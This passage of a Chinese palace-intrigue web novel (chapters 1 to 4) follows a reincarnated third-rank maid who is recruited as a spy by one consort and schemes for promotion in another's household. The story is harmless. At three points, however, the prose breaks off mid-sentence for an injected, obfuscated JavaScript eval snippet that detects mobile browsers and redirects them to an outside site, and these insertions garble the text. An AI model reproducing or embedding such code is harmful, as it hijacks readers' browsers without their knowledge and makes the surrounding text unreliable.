《小宫女能听到上位者心声》 1. 第 1 章 如果穿书分等级的话,宫斗文大概是穿越者最不想穿的类型之一。 毕竟后宫哪有什么岁月静好,争宠站队下毒陷害才是主旋律,棋差一招就会被冷宫伺候,一堆聪明人在一起熬个几十年,熬死了皇帝,躲过了明枪暗箭,才有那么寥寥几个人升为太妃太后,如此,也才算圆满。 但这跟沈青青有什么关系? 作为穿越者,她甚至没穿书后捞到一个嫔妃的身份,反而穿成了一个人人可踩一脚的三等宫女。 三等宫女什么概念?大概是上面还有二等宫女、一等宫女。二等宫女干轻活,一等宫女贴身伺候主子,至于重活,自然是留给三等宫女。 她们就像食物链中的底端,平时没人在意,一个小小的震颤就能要了她们的小命。 沈青青就是这么个小悲催,但蚂蚁也有蚂蚁的作用——她现在住在一个四人舍采光不好的后屋里,家具也没几件,横放的床榻是与屋子一体的,能正正好躺下四个人。沈青青的位置靠墙,墙体散发着经年累月的腐气,摸上去很阴凉,此时,她蜷腿靠在墙壁上,被子紧紧掖好包在身上,身上忽冷忽热,她病了,手上却端着碗热腾腾的汤药。 很明显,一个三等宫女是请不起医女来开药,除了别人想收她为己用。 身旁的人穿着一身蓝色宫女服,挺拔的鼻骨让她整个人带上了不容拒绝的凌厉感,沈青青认得她,她是景阳宫主位惠贵嫔的二等宫女翠环,沈青青洒扫时与她有过数面之交,情分并不深。 而沈青青的主子则是住在景阳宫西偏殿的杜婕妤,杜婕妤的家世高于惠贵嫔,所以即便惠贵嫔的位份高于杜婕妤,又是主位娘娘,杜婕妤却没对惠贵嫔有多少恭敬。 加上杜婕妤眼高于顶,叫人姐姐都带着一股阴阳怪气的劲儿。 久而久之,惠贵嫔殿内的人就对杜婕妤殿内的人有了恶感,至于惠贵嫔与杜婕妤两人,因为惠贵嫔淡定的性子,对杜婕妤的态度都淡淡的,再之恩宠也不多,杜婕妤倒没挑衅过惠贵嫔,勉强维持在不坏不好的程度上。 但娘娘和主子们的态度可不代表着两殿奴才们的态度,奴才也有奴才们的生存之道,在他们心中,主殿的奴才们身份天然就比偏殿奴才的身份高,但西偏殿的人不认为这样,杜婕妤受宠,他们怎么就比不过惠贵嫔的奴才? 平日里低头不见抬头见的或许会让半头,让人挑不出错,转身可能就会狠狠啐上一口,说不清谁比谁威风。 沈青青是三等宫女,虽在西偏殿当值,却没入了杜婕妤的眼,突然病了告假,杜婕妤也不会关心她给她请个医女,甚至可能消息都没传进杜婕妤耳朵。 宫内地位低的宫女生病,好一点的情况是自己拿钱去找医女看病,可若是自己没钱,或舍不得余钱,就只能自己生生挨过去。 沈青青是一点钱都没有,每月的月钱刚到手就去买好看的首饰,拿下渴望已久的胭脂水粉,并抽空奖励自己去开小灶,可以说怎么取悦自己怎么来。 以至于现在的处境可谓十分艰难。 偏这时,趁着屋内其余三人去上值一时半会回不来,惠贵嫔宫里的翠环就悄悄叫了医女来为沈青青医治。 她像一阵及时雨,滋润了沈青青干涸的境况。 医女给沈青青熬好药离开,并顺手带上了门,一直没开口的翠环这才道:“这一切都是娘娘的恩赐,娘娘听说你病了,婕妤却没当回事,当场眉头都皱了,连忙让我悄悄为你请医女,青青,你以为呢?” 翠环的视线掠过沈青青憔悴但姣好的眉眼,看到她感动到一双眼睛都红彤彤的模样不由悄然笑了笑,胸有成竹能拿下她。 沈青青吸了吸鼻子,身体忽冷忽热让她鸡皮疙瘩都冒了出来,她在组织着措辞。 惠贵嫔雪中送碳,不外乎想收买她,当然,自不是打着让她一个三等宫女跳槽到主殿当三等宫女,而是想获得一个卧底,一个安插在杜婕妤身边的棋子。 沈青青对杜婕妤的感情不深,在几个月前还因为买了胭脂打扮自己被杜婕妤罚跪过,被整个景阳宫看过笑话,心底还残存着些恨意。杜婕妤自己脾气也不好,三天两头发脾气扔东西,伺候她的宫女可苦了,可能只有杜婕妤自己觉得她的性子是可爱骄纵了。 伺候这么一个主子,是个正常人都叫苦不迭。 对于反水杜婕妤,沈青青都不用人催。 至于投靠惠贵嫔,只能说,先前真没看出来惠贵嫔还是有心计的,也不是那么安静淡泊,不争不抢。这对沈青青来说是好事,宫斗文的惯例,傻白甜随时会被人随手当成炮灰或是替罪羊给用了,等到沉冤昭雪还不知是什么时候。 沈青青眨了眨眼,两颗豆大的泪珠随之落下:“翠环姐姐,真没想到惠贵嫔娘娘还记得奴婢,又赐医女又派姐姐来关心我,救了我半条命,甚至为了不让青青陷入不义之地,单独见了我。既如此,青青又哪里是那种不知感恩的人呢?” 翠环眉梢一动,含笑看着她。 沈青青继续说:“若日后娘娘有用得上奴婢的地方,翠环姐姐你只管传话给我,青青虽然蠢笨了些,但尚有些忠心可用。” “哪里的话。”翠环从袖子拿出一件素金簪插进沈青青的发间,端详片刻满意点头道,“你的忠心,娘娘会知道的。” 翠环是十分中意沈青青的,这是她考察了好几个月选中的人,花钱大手大脚十分贪心,又与杜婕妤有旧怨,更没受过杜婕妤半点恩惠,背叛旧主虽令人不齿,但对沈青青来说是那么顺理成章。 翠环没有继续久留,一是怕被人到察觉什么,二是沈青青还在病着,万一过了病气给她怎么办? 翠环走后,沈青青捏住鼻子,一口气把药喝完,然后才拔下头上的金簪,欣赏着不由连连感叹惠贵嫔不愧是主位娘娘,出手果然大方。 有了这个金簪,她又能去御膳房给那里的宫人使银子开小灶了。 昨天才病,她都感觉自己被饿瘦了。 沈青青是穿越而来的,但她是胎穿,昨天不知怎么回事有了前世的记忆,大脑容纳太多东西,这才病了。 不然依着她整日运动(三等宫女的活又多又重)按时睡觉(压根没条件让人熬夜),没亏过嘴养出的强健体魄,一年到头也不会生一次病。 又因杜婕妤的名字很熟悉,所以她约莫是穿到了一本她看过的宫斗文里,但她看过的小说太多了,宫斗文在其中的占比也很大,再加上记忆不好,看过的小说隔几年还能津津有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279950|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味重温一遍。 过了一世,自然什么也不记得了。 虽然不知女主,不知剧情,但宫斗文嘛,总有些套路可依。 比如说气焰嚣张、以下犯上的新妃总第一个倒台,比如说心机深沉、心狠手辣的低位嫔妃是某个妃子的爪牙,总在中期就会被发现她的所作所为,比如说藏到最后的大反派在事情败露前她在宫内的风评很好,最后孤注一掷赌上所有还是输了…… 而架空历史的宫斗文主角最明显的特征则是一路顺风顺水,无论她的性格是娇憨还是工于心计,亦或者不是个好人,但总能在恰当的时机得到自己想要的,比如说生完皇嗣时已是一宫之主的位份,得以亲自抚养皇子皇女,第一胎要么是皇子、要么是龙凤胎,既是子凭母贵,也要母凭子贵。 太子之位不必说,也是手到擒来。 这也是发现谁是真正主角的一大特征,主角当然要笑到最后,不当太后不罢休。 不过一般的宫斗文写到皇帝独宠女主已经可以正文完了,若要写到皇帝死了,没和皇帝有什么深仇大恨的女主岂不相当悲恸?这就不爽也不甜了。 那沈青青现在处于宫斗文的什么时候呢? 首先绝不是宫斗文的结束,因为当今天子刚登基不过两年,太后在先皇在时并不受宠,她的同期有一位宠妃,只是膝下只有一个女儿,威胁不到当时的太子,且在先帝崩时自愿殉情随葬,是个至真至性之人。 也因此她的女儿被当今封为了永福长公主,地位尊贵。 沈青青更倾向于现在的皇帝正是宫斗文的男主,原因有,皇帝他长的俊美,每一个见过他的人或多或少都为之倾心,杜婕妤更是爱到满心满眼无法自拔。 沈青青是三等宫女,即便皇帝翻杜婕妤的牌子算不得少,但因为等级不够很难近身伺候,到不了前排,只远远看过两次背影。但光是皇帝的背影都是那么气宇轩昂,仿佛扒下衣裳,就能见到蜂腰猿背,八块腹肌,人鱼线和翘臀。 啊,杜婕妤吃的真好。 宫内没有丑人,只分普通美人、中等美人和顶级美人。 杜婕妤算得上中等美人,若是不经常用鼻孔朝人,应当会美的让人舒心。 相比之下,惠贵嫔就只能算得上普通美人,因为在东宫时的老资历,才在皇帝初登基时拿下一宫主位。杜婕妤是皇帝第一次选秀时入的宫,现今已有两年资历,初封是才人,第一次侍寝后被封美人,入宫几个月后因杜家在朝堂上做出了功绩,被皇帝特封为贵人,在贵人位份上沉寂了一年多,在今年过年大封六宫时升为了婕妤。 不难看出,皇帝对位份封赏还是吝啬谨慎的,从没有嫔妃能一跃好几级。且贵嫔之上升的更为不易。 比如说惠贵嫔,原来是叫林贵嫔,大封六宫时便意思意思给了封号。 惠贵嫔家世不拔尖,容貌不出色,亦不得宠,性子也淡,与其他人没有利益之争,又因位份还算可以,也不是谁都可以踩一脚,在宫内既不引入瞩目,该有的尊贵也有了。 想了许多,沈青青钻进被窝里捂汗。 迷迷糊糊中她想: 都穿越了,贼老天,连个嫔妃也不让我当,我就看起来那么是个会干活的人吗?! 2. 第 2 章 当值的三个舍友回来时,沈青青刚好醒来,不是她有生物钟,而是其中一个叫冬儿的宫女将椅子拉的刺啦作响。 见沈青青醒来,阴阳怪气道:“呦,歇了一天的贵人您醒了,知不知道你不当值,你的那份活都是我们三个干的?” 其余两个宫女夏蝉和文心一脸疲惫,默不作声地倒了杯水开始喝,视线的余光分了些给正对着沈青青张牙舞爪的冬儿。她们对沈青青也是有点意见的,但明白沈青青性子不是那么任人拿捏,自不会率先出头。 冬儿素来愚蠢,有她打头阵,夏蝉和文心对视一眼,露出笑意。 沈青青不客气朝冬儿翻了白眼:“我当然知道!” 在宫内干活的时候时时刻刻都要注意谨言慎行四个字,因此各个跟个哑巴似的,但谁都不是天生的牛马,在进宫前,不是生活很苦的宫女个个都是家里的宝,送进宫只为博一个前程。 因此不能对着主子发的怨气自然沉淀到了下值之后,不少人没事也得闹点事出来,因此同舍的宫女很少有不闹矛盾的。 更别说今日还有个这么正当的借口,不好好出口恶气,真对不起冬儿平白多干的活。 冬儿声音尖尖的:“你知道你还这么大声?” 沈青青当然理直气壮了:“从我分到景阳宫,两年下来,我可就生了这么一次病,反而是你,冬儿,夏天太热你要生病,入秋转凉你要生病,冬日寒冷你要生病,从我们四个一块当值以来你光是生病都有十几次了,你问问夏蝉和文心我说的对不对?且你生病不上值的活谁替你干的……” 死亡凝视冬儿。 冬儿心虚道:“是你……” 夏蝉和文心是谁也插不进来的好姐妹,冬儿经常生病,两人很是烦她,于是一起携手闹了冬儿一次,沈青青看不过去就替冬儿说了几句话,然后夏蝉和文心便将冬儿的活推给了沈青青。 沈青青本身是不爱计较这么多的,想着两个月可能就多忙那么一次,就默认接受了。再说了,宫内吃个亏不是常有的事吗? 但没想到,今日最不该发难的冬儿居然劈头盖脸一顿阴阳怪气,气的沈青青的血都快热起来了。 冬儿后知后觉想起今天夏蝉和文心给她说的似是而非的话,本以为是接纳她,让她加入她们,同时她的心里也不坚定,就被引着对沈青青不顺眼起来。 冬儿懊恼看向夏蝉和文心,再不知道被利用她就不必在这宫里混了,于是狠狠瞪了两人,活要生撕了她们似的。 夏蝉和文心乏味地转过身,不去对上冬儿的视线,冬儿这个蠢货。 夏蝉和文心自喻聪明人,聪明人都是排外的,既不接纳蠢材,也不喜看不顺眼的。她们便看不上冬儿,看不顺眼沈青青,或者说是忌惮。 沈青青气血旺盛,每天干完又苦又累都还容光焕发,衬得本就漂亮的脸蛋有一股向上的生命力。 若不是三等宫女的灰色宫衣压制了她的美貌,夏蝉和文心恐怕更加头疼。 沈青青敲打完冬儿便开始使唤她:“既然知道,我渴了,去给我倒杯水。” 冬儿处于下风,知道不能得罪沈青青,更不能让夏蝉和文心达到目的,于是乖乖去给沈青青倒了水,递到她的手里,见沈青青喝完,讨好道:“还要再来一杯吗?” 沈青青摇了摇头:“不用。”将杯子还给了她。 冬儿拿着杯子刚准备殷勤地将它洗干净,就听文心说:“好人家的姑娘进宫当奴才就罢了,还上赶着给另一个奴才当狗用。” 沈青青看向文心似笑非笑的模样和冬儿转身后明显僵住的背影,硝烟悄然弥漫,同时不明白夏蝉这次为什么置身事外。 夏蝉比文心略大一些,平日常以文心姐姐作态,人也比文心稳重些。 而文心幼时读过些书,常喜欢损人,因此很不讨喜,夏蝉为了护文心,或两人本就姐妹情深,为文心打圆场几乎成了本能。 但这次,夏蝉明知冬儿忍不了,却一句话也没说。 她们目的是什么? 沈青青不由疑惑起来。 果然,冬儿受不了一点激,将手中的杯子狠狠一摔——这是沈青青的杯子,碎了她就没喝水的家伙,意外损耗得自己去买。 沈青青故不得心一抽一抽的,因为接下来的发展鸡飞狗跳。 冬儿作猛虎扑食撞向文心,文心猝不及防被冬儿压在身下,一懵,尖叫起来,冬儿揪着文心的头发狠狠拽了拽,拽成毛糙散乱的样子,尤不解恨,下足力气甩了文心两巴掌。 那可是做惯了粗活的人的两巴掌。 文心的脸颊很快高高肿起,但冬儿又能讨到什么好呢? 夏蝉很快反应过来去拉偏架,文心胡乱挥舞着手,保养良好的指甲在冬儿脸上留下血淋淋的长口子。 “啊——”冬儿慌张捂住脸,“我的脸!” 都这个时候了,沈青青哪还能在床上坐着,赶紧去将两人拉开,因为都负伤了,两人也没了奋战的心思,分开很容易。 沈青青拉住冬儿的双手:“你手上有灰尘,别碰伤口。” 可这时,冬儿却恸哭起来:“我知道,你们都嫌我蠢,不愿意和我玩!我也知道,文心你教唆我对上青青,激我打你,不就想要二等宫女的名额?!” 冬儿落下惊人之语,沈青青原本讪讪的神情消失,她确实因为冬儿所说的不想和她结伴,同时惊道:“什么?二等宫女!” 发生了什么事,我怎么不知道二等宫女空出来了一个名额? 沈青青懊恼看向夏蝉和文心,见她们默认的表情,还有什么不知道,三人特意瞒了她,不想多出一个竞争对手。 怪不得今日这么莫名其妙。 若知道杜婕妤这里有上升路径,惠贵嫔的人一来她就该婉拒了。这可是二等宫女,即便杜婕妤后来倒台,她被分到其他宫中,也有个二等宫女的履历,受重用的可能性也会更大。 她何苦去当惠贵嫔的棋子呢? 可受了惠贵嫔的恩惠又不出力,惠贵嫔知道,轻而易举就能捏死她。 靠! 沈青青眼中冒火看向冬儿,最蠢的冬儿都知道悄悄运作,合着只有她是个傻子啊。 冬儿泪盈盈对上沈青青的视线,更加心虚了。 沈青青确实帮她良多…… 沈青青扔开冬儿的双手,心寒,不管她了。 屋内的动静招来了杜婕妤的大宫女珊瑚,大概不想被误伤,她带着一个宫女姗姗来迟,此时屋内的气氛已经非常冷凝了。 珊瑚扫了一眼,迅速断了官司,指向文心和冬儿:“你们两个,出去跪在院中一个时辰,明日的饭也不必吃了,这么有力气闹,这个月的活翻倍。”这才月初,本来她们的活就多,翻倍后怕是喝水的功夫都没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279951|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自是会安分一段时间。 冬儿胆大,抬头直视珊瑚,公然告状:“珊瑚姐姐,冬儿领罚,但此事是因为夏蝉和文心想要成为二等宫女这才故意算计我,而且她们是带着让我毁容的目的行事,您看我的脸,平常我也没得罪她们啊,她们太恶毒了!” 冬儿现在什么也不怕了,带着股鱼死网破的劲儿,其他人甚至都得怕她。 冬儿质疑珊瑚的决定,珊瑚本来有着点不耐,但听完后,目光落到冬儿血流出来更显可怖的脸上,嘶了一声,露出一丝不忍。 千不该万不该,也不该算计一个姑娘家的脸,确实过于恶毒了。 这种人成了二等宫女,焉知之后她这个大宫女挡了她的路而出手对付她? 文心见势不妙,连忙卖惨道:“冬儿也把我的脸扇肿了,我……”不小心才伤了冬儿的脸。 但珊瑚已经不想再听:“够了!此事我会说与主子,你们两个好自为之。”她的视线警告地扫向文心和夏蝉。 夏蝉心有些慌,面上忐忑不安,心中对冬儿愈发咬牙切齿,同时对沈青青也带上了怨怼。若是沈青青先和冬儿闹起来,文心也不至于急功近利,她也不至于因为暗自高兴少了冬儿和文心两个竞争对手而没用全力拉架,甚至方才也高兴文心导致冬儿破了相。 可在冬儿眼里,她与文心从头到尾都是一伙人,现在文心受罚,身为罪魁祸首之一的她却置身事外,哪有这么好的事。于是拼尽全力也得让夏蝉留下污点。 能当大宫女,自是有些识人的本事,珊瑚哪里看不出夏蝉此时抱有的心思,心中厌烦之下不由有点好笑。 不过一个二等宫女的名额,什么牛魔鬼怪都跳出来了。 珊瑚拂袖离开,她带来的宫女留下来监督冬儿和文心罚跪,使得两人压根没机会将护膝绑在腿上,两人脸上均是一白,跪一个时辰,腿都要废了。 屋内只剩沈青青和夏蝉两人,夏蝉冷哼了一声,出去洗漱时故意撞了沈青青一下。 沈青青拿起夏蝉的茶杯摔到夏蝉身上,水渍溅到了夏蝉衣裳上,茶杯随之滚落到地上发出声响。 夏蝉怒目圆睁:“你……” 沈青青拍了拍手,无所谓道:“只管闹,再把主子身边的大宫女闹过来,看看我们两个谁吃挂落。” 夏蝉敛目,平复心中的怨气,这就是为什么她不想和沈青青对上,反而拾窜冬儿。 别看沈青青平时吃吃喝喝又爱臭美,从不主动与人交恶看似好拿捏的样子,其实脾气很大,你不让她好过,她也不让你好过。 所以以前她和文心试探过后,就尽量不与沈青青撕破脸。 现在她还有希望成为二等宫女,只需先忍下今日。 夏蝉拾起杯子紧紧握在手里,不吭声去洗漱。 沈青青见夏蝉走了,便将一地狼藉收拾干净,因为没去吃完饭,她现下还饿着,于是拿出柜子中耐储存的糕点啃起来。 耐储存的糕点通常很噎,偏她杯子又碎了,只能握拳捶胸口。 可恶的冬儿,摔她杯子干什么,有本事把桌子掀了,在文心和夏蝉的床铺上泼水,不比拿她杯子打头阵好些? 但这她只能想想,因为冬儿真这么做了,惩罚就不止这些了。 沈青青等夏蝉回来才收拾残渣去洗漱,两人给冬儿和文心留下了一盏灯,相安无事下,这才去就寝。 3. 第 3 章 沈青青白天睡了一天,躺在床上还不太困,开始思索白日的事。 惠贵嫔这条船肯定下不来了,只能寄希望于惠贵嫔没用得上她的地方,再说她的卧底线人是翠环,所以除了翠环,谁来找她办事她都可以装傻充愣蒙混过去。 若是翠环责问她,她就说不确定那些人是否是娘娘的心腹,她只相信翠环姐姐一人,届时,翠环也不好指责她。 至于杜婕妤这边,按理说空出一个二等宫女的名额,应该是有风声的,不至于连冬儿都知道,她却一无所知。 婕妤的位份不高,西偏殿总共也就十几个奴才,其中她们三等宫女四人,主要在外殿干粗活,二等宫女两人,在内殿侍候,平时端茶倒水、取膳布膳、梳发上妆,一等宫女,也就是大宫女两名,随侍在主子身边,随叫随到,听候吩咐。 大宫女珊瑚是宫里直接分配给杜婕妤,平日杜婕妤宫里的宫女都归她管。另一个大宫女玳瑁则是杜婕妤从家里带来的,性格活泼,也更合杜婕妤的心意,杜婕妤的库房都是她管着。且杜婕妤财大气粗,常会赏玳瑁东西,玳瑁也经常性在她们这些宫女面前炫耀,听听奉承。 珊瑚和玳瑁地位稳固,不可能变,至于剩下的两位二等宫女,晚霞和朝露,虽然都是宫中的老人了,但年龄不到二十五,还未到要放出宫的时候。 晚霞就是今日跟在珊瑚身后的宫女,在珊瑚走后,盯着夏蝉和冬儿领罚。 冬儿说得那么信誓旦旦,那晚霞和朝露必会走一个,空出的一个名额或是从她们四人中选出,或是尚宫局再送一个宫女过来。 沈青青几人当然更想自己升上去,或是与自己交好的人顶上去,比如夏蝉之于文心,沈青青之于冬儿。没错,沈青青和冬儿关系虽然不咸不淡,但面对夏蝉和文心的结盟,她们两人已经被迫绑在了一起。 没人想突然多出来一个新人压她们一头。 沈青青默默为自己谋划,二等宫女需要本事才能立足,不是说全凭勾心斗角上位的,若真是这样,后宫得乱成一锅粥。 比如晚霞擅于上妆、搭配衣裳、沏茶,在她手下,杜婕妤原本就明媚的五官,会美的更加夺目。 比如朝露擅长梳头簪发,会十几种发髻,也会调香,懂些药理…… 沈青青自问是比不得两位姐姐的,但爱美是她两辈子的天性,上一世她就喜欢化妆,这一世也钟爱胭脂水粉,胭脂水粉的支出足足占了她月例的三分之一。 因家里是商户,姻亲是读书人家,她自小也是读过书,识大部分字的,算学也没什么问题,看账本是从小的功底。 不过这一条和玳瑁撞了,她可没有不知死活和玳瑁争权的心思。 人家是从小一起长大的主仆,其中情分哪是她能比的? 至于香料和药理,沈青青是一点都不懂,她不喜闻香,更分不出香的味道有什么不同,后者是她从小都不怎么生病,大夫都没请几回,家里也不是干这个的,自然一窍不通。 沏茶仅限于将茶扔热水里一泡一喝。 但综合来看,沈青青更希望接晚霞的班,呸,希望晚霞姐姐有个好出路。上妆她功底深厚,搭配衣裳也不差劲,沏茶她可以学。 她手中有个金簪,上个月的月例也快发了,银子开路,想必会有些门路。 在沈青青漫无边际胡思乱想的时候,时间竟悄悄溜走,门嘎吱一响,是冬儿和文心回来了。 她们小声洗漱,然后将最后一根蜡烛吹灭,上床。 睡在沈青青旁边的是冬儿,夏蝉离她最远,靠近门那边。夏蝉的寝榻是个好位置,白天为数不多的阳光恰好照在她那里。 沈青青这边靠墙,则阴冷许多。 一刻钟后,在沈青青以为大家都睡了的时候,耳边传来冬儿小声啜泣,沈青青身体一僵,不知该如何安慰。冬儿孤注一掷行事,却恰好阴差阳错为她铺路。 冬儿和文心有罚在身,不可能升为二等宫女,夏蝉被留下了坏印象,前程也飘渺起来,对比来看,居然是她优势极大。 夏蝉和文心那边被子动了动,发出了点声音。 原来大家都没睡。 翌日。 沈青青的头痛已经完全好了,神清气爽,同时准备去当值。她刚穿好灰色的三等宫女衣裳,冬儿也起了,她脸色发白,神情恹恹,沈青青也看清了冬儿脸上的伤痕。 许是昨夜收拾过,没了脸上的血迹,现下伤口完全显露出来,是三道深深浅浅的挖痕,最深的那道中间是个小坑,不由让人忧心能不能好全。 哎。 触及沈青青的目光,冬儿完全清醒过来,双手摸上脸颊,神情多了抹悲意。 啧。 但今日杂活又重又多,夏蝉和沈青青一半的活都被分给了冬儿和文心,容不得她有时间伤春悲秋。 沈青青做完自己那份活,回屋里拿上金簪出了景阳宫。 因为经常在宫内找人买东西的缘故,她人脉颇多,很快就用实心的金簪换到了一盒疗伤圣药。 卖给她的小太监吹嘘:“姐姐,我这药可是太医院出来的,后宫的娘娘用的不外乎是这个,什么痘印伤口晒伤,都能疗愈,见效奇快。若不是姐姐给的太多,我也不会留给你。” 沈青青闻了闻药膏,确是一股子清凉药味,并不难闻。 “行,若是有效,下次还来找你,若是没效,金簪就得还我了。” 小太监笑嘻嘻道:“绝不会诓骗姐姐!我就在这儿当值,能跑哪儿去?” 沈青青想也是,点了点头,带着药回到景阳宫。 等辗转找到冬儿时,便见夏蝉在帮着文心干活,冬儿孤零零一个人。文心感动不已,看夏蝉的模样像在看自己的亲姐姐。不过不管文心感动不感动,心里怎么想,如今她们的机会只在夏蝉身上了,如何交心如何拉近关系对文心来说都不为过。 “冬儿,这里。”沈青青喊冬儿来她这里。 冬儿诧异,把手甩了甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279952|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小跑到沈青青身边:“怎么了?” 沈青青见夏蝉窥视着她们这里,于是拉着冬儿到廊下拐角的地方,言明来意:“我恰好得了能治愈外伤的药膏,你用不用?” 若是冬儿不识好歹一口回绝,沈青青绝对扭头就走,再祭奠下她没了的金簪。 冬儿心中酸涩,她告诫着自己不用白不用,当即仰头:“用!” 冬儿的身形较之沈青青娇小许多,这就是沈青青为什么在冬儿生病时不计较地帮她干活。人类对弱小的东西总是抱有怜意,即便冬儿小小的身体里藏着一头横冲直撞的小牛,直的可怕,也刚强。 一仰头,沈青青便看见冬儿伤口旁落了灰尘,说了一句:“你等着。” 便小跑去找干净的水,把手帕沾湿,而后又快速回来。 她先用帕子小心避开伤口将冬儿的脸擦干净,吹去伤口处的浮灰,然后拿出药盒开始上药。 冬儿的目光落到木盒上刻着的花纹,脸上被涂了药膏的伤口处也感到清清凉凉,明显舒缓起来。 沈青青端详着,确定没有漏涂后,收了手,小心将药盒盖上,碎碎念道:“这药可贵了,就不送给你了,以后你每天找我两次,我来给你涂伤口,直到好全。”她为冬儿做了什么就得说出来,省得这没了心肝的不知感恩。 “还能好吗?”冬儿嘀咕着捏紧袖子,深吸一口气,“……真的很贵?” 沈青青加重语气:“当然了!” 她要不是看一个小姑娘要毁容了可怜兮兮的,治不好完全断绝了在贵人面前伺候的机会,熬到最后只能成为破了相的老婆子,得不到新进宫的宫女丝毫面对宫内老人的尊敬,她才不管呢。 冬儿低声道:“我也不欠你的,主子身边确实要走一位二等宫女,却不是坏了事才走的,而是晚霞姐姐的哥哥立了功,向皇上请求让晚霞姐姐提前出宫。婕妤虽然不愿,但也无可奈何,而晚霞姐姐喜欢钱,你拿着月银去请教晚霞姐姐,晚霞姐姐不会吝啬本事的。” “学了本事,这二等宫女才更有把握,至于我怎么知道的,你姑且认为我也有些消息门路吧。” 这事她本就要跟沈青青说,只是早或晚罢了。可晚两天,沈青青能学多少就不知道了。 天无绝人之路,沈青青心头一喜,而后又窘迫道:“实在囊中羞涩,我一点余银都没有了,可爱的冬儿姑娘,能否先借我点,等上月的月例发了,我就立马还你。” 沈青青花钱大手大脚,遇了事才知没钱的滋味。 若是金簪没有……害,若是金簪还在,她哪有得冬儿感谢的机遇?况且金簪是翠环代惠贵嫔给的,虽然没有标记,但还是销赃的越快越好。 冬儿心想,可爱这个词,可太亲密,她撅了撅嘴:“送佛送到西,我借你。” 似乎看到光明的二等宫女前途,沈青青高兴地拉住冬儿的手:“冬儿你可真好。” 冬儿心底默默道:借了钱,以后就可别在心里说我蠢了。 4. 第 4 章 晚霞和珊瑚住一屋,朝露和玳瑁住在一屋。同为二等宫女,晚霞更亲近珊瑚,朝露常与玳瑁为伍,二等宫女日常更像是大宫女的帮手,在完成份内事后跟着大宫女行事。 大宫女直接听命于主子,主子的任何吩咐不论大小事都会经过大宫女之后,或直接去办,或分给下面的人。 另外杜婕妤身边还有一名领事太监,一名内殿公公,两名外殿公公,多用来跑腿和干宫女不方便干的事。 杜婕妤住在景阳宫西偏殿,但这个西偏殿也有个正经名字,唤织云殿。 织云殿中,现下杜婕妤正在午睡,珊瑚和玳瑁守在卧房外,晚霞在茶室准备茶水,朝露筹备着杜婕妤下午要吃的小食。 沈青青找晚霞的时候,她正盯着茶壶,微微分神。 想来即将能出宫,心中并非没有波澜。 “晚霞姐姐,把扇子给我吧,我来给姐姐看火。”沈青青走到晚霞身边,抬手到晚霞执扇的那一侧。 晚霞见是她来,将扇子交给她,沈青青顺势蹲在炉子旁,对着炉子里的炭火轻轻扇动,晚霞见此问她:“昨日我还见你不舒坦,怎么今日就上值了?” “头疼脑热,吃过药,发了汗就好全了,姐姐知道我,我在屋子里呆不住,出来上值全当活动筋骨了。” 晚霞点头:“你这个年纪,正是精力大的时候,身体也康健,真好。” 沈青青是陛下登基后小选进宫的,京城人士,初进宫时年十一,现在两年过去,也不过十三岁,虚岁十四,还是个正在长身体的花骨朵,因此即便她吃的再多,也不见痴肥,反而格外单薄纤瘦。 沈青青抿唇笑了笑,接着奉承了晚霞几句,让她眉间也有了笑意。 见此,沈青青这才说明来意:“听说陛下恩准姐姐出宫?” 晚霞笑道:“是有这回事,也就这几天了。” 沈青青煞有介事说:“我说早上怎么见枝头花开,原来是姐姐运道旺的。人逢喜事精神爽,妹妹在这里先恭喜姐姐了,时间紧迫,我也没来得及准备贺礼,便只能拿些俗物来当作赠礼,希望姐姐日后顺心顺意,觅得如意郎君。” 沈青青轻柔的声音像蜜一样说进了晚霞的心里,她脸上飞起两抹红晕,眼含春水,嗔了沈青青一眼。 被嗔了一眼的沈青青也不恼,反而笑盈盈看她。 晚霞今年才十七,容貌上佳,哥哥立功成为新贵,她又在宠妃身边当值,出宫后是肉眼可见的前途似锦。 沈青青说到了她最隐秘的心事。 能出宫怎么会不高兴呢,但正因为出宫板上钉钉,婕妤恰好能借着此事与陛下闹小脾气,告诉陛下她们主仆情深,晚霞再高兴也得忍着,更不能在主子面前表露分毫,不然不是显得婕妤是个恶人,这戏也不好再唱下去了。 沈青青将包着银子和一些贵重首饰的帕子塞到晚霞手里,再接再厉道:“虽然知道晚霞姐姐有个疼爱您的哥哥,日后不缺这些,但这是做妹妹的一番心意,姐姐须得收下。况且姐姐在这织云殿也照顾我良多。” 晚霞性子安静,凡是不爱出头,也不爱磋磨人,沈青青给她干活的时候一点都没苛责过。 在这宫中,不苛责就是一种照顾了。 晚霞伸出食指点了点沈青青的额头:“你呀。”显得格外亲昵。 